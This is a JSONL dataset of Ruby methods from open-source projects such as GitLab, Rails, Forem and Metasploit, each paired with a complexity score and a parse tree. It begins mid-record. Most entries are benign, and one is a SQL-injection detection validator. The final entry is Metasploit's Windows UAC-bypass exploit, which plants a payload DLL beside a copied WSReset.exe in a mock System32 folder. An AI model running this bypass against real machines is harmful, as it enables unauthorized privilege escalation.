required\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\"]},{\"type\":\"lvasgn\",\"children\":[\"expires_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoogleApi\"]},\"CloudPlatform\"]},\"Client\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"callback_google_api_auth_url\"]}]},\"get_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoogleApi\"]},\"CloudPlatform\"]},\"Client\"]},\"session_key_for_token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoogleApi\"]},\"CloudPlatform\"]},\"Client\"]},\"session_key_for_expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expires_at\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_uri\",{\"type\":\"send\",\"children\":[null,\"redirect_uri_from_session\"]}]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Faraday\"]},\"TimeoutError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Faraday\"]},\"ConnectionFailed\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Timeout connecting to the Google API. Please try again.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"lvar\",\"children\":[\"redirect_uri\"]}]}]}]}","id":"8823f109-2005-4c8e-a1ef-81ceeac9e4e3"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/field_test/experiments_controller.rb","start_line":10,"raw_source":"def show\n      @experiment = FieldTest::Experiment.find(params[:id])\n    rescue FieldTest::ExperimentNotFound\n      raise ActionController::RoutingError, \"Experiment not found\"\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@experiment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FieldTest\"]},\"Experiment\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FieldTest\"]},\"ExperimentNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"RoutingError\"]},{\"type\":\"str\",\"children\":[\"Experiment not found\"]}]}]},null]}]}","id":"04cc6a11-bc10-4d63-a3c9-4965b2794168"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/graphql/types/test_graphql_schema_shared_context.rb","start_line":37,"raw_source":"def id\n        object[:id]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"2a18ea2d-565d-454f-bd2b-20b7304bc823"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/params_helper.rb","start_line":44,"raw_source":"def description(raw_description)\n          raw_description.presence || EMPTY_DESCRIPTION\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_description\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_description\"]},\"presence\"]},{\"type\":\"const\",\"children\":[null,\"EMPTY_DESCRIPTION\"]}]}]}","id":"984ec366-70ae-40d5-8311-fb085b6b2d2a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/validation.rb","start_line":63,"raw_source":"def validate(*values)\n    errors.clear\n    return true if validations.empty?\n\n    validations.all? do |validation|\n      values.empty? ? true : send(validation, *values)\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"clear\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validations\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validations\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"validation\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}]}","id":"70a5160f-8791-4b0f-931d-2ad9129a69fa"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":293,"raw_source":"def test_assert_no_enqueued_emails\n    assert_nothing_raised do\n      assert_no_enqueued_emails do\n        TestHelperMailer.test.deliver_now\n      end\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_enqueued_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_enqueued_emails\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test\"]},\"deliver_now\"]}]}]}]}","id":"37d25dce-b2d5-40aa-ae20-8110529970cf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/input_test.rb","start_line":35,"raw_source":"def expect_emit(tag, time, record)\n        (@expects ||= []) << [tag, time, record]\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_emit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@expects\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"51f01505-fc03-41a6-8f1f-654c96370785"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240520124019_add_last_activity_on_to_members.rb","start_line":6,"raw_source":"def change\n    add_column :members, :last_activity_on, :date, default: -> { 'NOW()' }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"sym\",\"children\":[\"last_activity_on\"]},{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"NOW()\"]}]}]}]}]}]}","id":"cc99822a-4d3c-4836-96b5-6009a538d128"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":97,"raw_source":"def unshift(klass, *args, &block)\n      middlewares.unshift(build_middleware(klass, args, block))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unshift\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"unshift\",{\"type\":\"send\",\"children\":[null,\"build_middleware\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"3a2633df-d3e0-4d0a-9ffc-243463061b57"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user_query.rb","start_line":141,"raw_source":"def query_must_be_safe\n    return if query.blank?\n\n    query_upper = query.upcase\n\n    # Check for forbidden keywords (more precise matching)\n    FORBIDDEN_KEYWORDS.each do |keyword|\n      # Use word boundaries to avoid false positives\n      pattern = /\\b#{Regexp.escape(keyword)}\\b/i\n      if query_upper.match?(pattern)\n        errors.add(:query, \"contains forbidden keyword: #{keyword}\")\n        return\n      end\n    end\n\n    # Must start with SELECT\n    unless query_upper.strip.start_with?(\"SELECT\")\n      errors.add(:query, \"must start with SELECT\")\n      return\n    end\n\n    # Must select from users table or join with users\n    unless query_upper.include?(\"USERS\") || query_upper.include?(\"FROM users\")\n      errors.add(:query, \"must target the users table\")\n      return\n    end\n\n    # Check for suspicious patterns\n    suspicious_patterns = [\n      /;\\s*\\w+/i, # Multiple statements\n      /--/,       # SQL comments\n      %r{/\\*.*\\*/}, # Block comments\n      /xp_/i,     # Extended procedures\n      /sp_/i,     # Stored procedures\n      /@@/i,      # System variables\n      /exec\\s*\\(/i, # Dynamic execution\n      /eval\\s*\\(/i, # Eval functions\n    ]\n\n    suspicious_patterns.each do |pattern|\n      if query.match?(pattern)\n        errors.add(:query, \"contains suspicious pattern: #{pattern}\")\n        return\n      end\n    end\n  end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"query_must_be_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"query_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"upcase\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORBIDDEN_KEYWORDS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keyword\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_upper\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"contains forbidden keyword: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_upper\"]},\"strip\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"SELECT\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"str\",\"children\":[\"must start with SELECT\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_upper\"]},\"include?\",{\"type\":\"str\",\"children\":[\"USERS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_upper\"]},\"include?\",{\"type\":\"str\",\"children\":[\"FROM users\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"str\",\"children\":[\"must target the users table\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"suspicious_patterns\",{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\";\\\\s*\\\\w+\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\\\\*.*\\\\*/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"xp_\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sp_\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@@\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"exec\\\\s*\\\\(\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"eval\\\\s*\\\\(\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suspicious_patterns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"contains suspicious pattern: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]}]}]}]}","id":"5bf80d01-937e-41e9-96a9-1b394830836b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_between.rb","start_line":45,"raw_source":"def test_returns_error_if_start_date_is_missing\n    assert_raise ArgumentError do\n      @subject.call(nil, @end_date, @options)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_error_if_start_date_is_missing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@end_date\"]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]}","id":"ec7147d3-7b01-448d-8752-f6cbd2705e33"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb","start_line":72,"raw_source":"def exploit\n    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n    end\n\n    # Make sure we have a sane payload configuration\n    if sysinfo['Architecture'] != payload.arch.first\n      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target')\n    end\n\n    check_permissions!\n\n    case get_uac_level\n    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT\n      fail_with(Failure::NotVulnerable,\n                \"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\")\n    when UAC_DEFAULT\n      print_good('UAC is set to Default')\n      print_good('BypassUAC can bypass this setting, continuing...')\n    when UAC_NO_PROMPT\n      print_warning('UAC set to DoNotPrompt - using ShellExecute \"runas\" method instead')\n      shell_execute_exe\n      return\n    end\n\n    exploit_win_dir = 'C:\\\\Windows \\\\'\n    exploit_dir = 'C:\\\\Windows \\\\System32\\\\'\n    exploit_file = exploit_dir + 'WSReset.exe'\n    unless exists? exploit_win_dir\n      print_status(\"Creating directory '#{exploit_win_dir}'...\")\n      session.fs.dir.mkdir(exploit_win_dir)\n    end\n    unless exists? exploit_dir\n      print_status(\"Creating directory '#{exploit_dir}'...\")\n      session.fs.dir.mkdir(exploit_dir)\n    end\n    unless exists? exploit_file\n      session.fs.file.copy('C:\\\\Windows\\\\System32\\\\WSReset.exe', exploit_file)\n    end\n\n    payload_dll = 'C:\\\\Windows \\\\System32\\\\propsys.dll'\n    print_status(\"Creating payload '#{payload_dll}'...\")\n    payload = generate_payload_dll\n    write_file(payload_dll, payload)\n    print_status('Executing WSReset.exe...')\n    begin\n      session.sys.process.execute(\"cmd.exe /c \\\"#{exploit_file}\\\"\", nil, { 'Hidden' => true })\n    rescue ::Exception => e\n      print_error(e.to_s)\n    end\n    print_warning(\"This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!\")\n  end","complexity_score":80.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Running against WOW64 is not supported\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"arch\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"The payload should use the same architecture as the target\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_permissions!\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uac_level\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_DEFAULT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"UAC is set to Default\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"BypassUAC can bypass this setting, continuing...\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_NO_PROMPT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"UAC set to DoNotPrompt - using ShellExecute \\\"runas\\\" method instead\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_execute_exe\"]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exploit_win_dir\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows \\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_dir\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows \\\\System32\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]},\"+\",{\"type\":\"str\",\"children\":[\"WSReset.exe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"lvar\",\"children\":[\"exploit_win_dir\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating directory '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_win_dir\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"dir\"]},\"mkdir\",{\"type\":\"lvar\",\"children\":[\"exploit_win_dir\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating directory '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"dir\"]},\"mkdir\",{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"lvar\",\"children\":[\"exploit_file\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"file\"]},\"copy\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\WSReset.exe\"]},{\"type\":\"lvar\",\"children\":[\"exploit_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_dll\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows \\\\System32\\\\propsys.dll\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating payload '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_dll\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"payload_dll\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing WSReset.exe...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This exploit requires manual cleanup of the '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_win_dir\"]}]},{\"type\":\"str\",\"children\":[\"' and '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]}]},{\"type\":\"str\",\"children\":[\"' directories!\"]}]}]}]}]}","id":"cdc4925d-a16e-4ce7-a20a-267e29fd9e4d"}
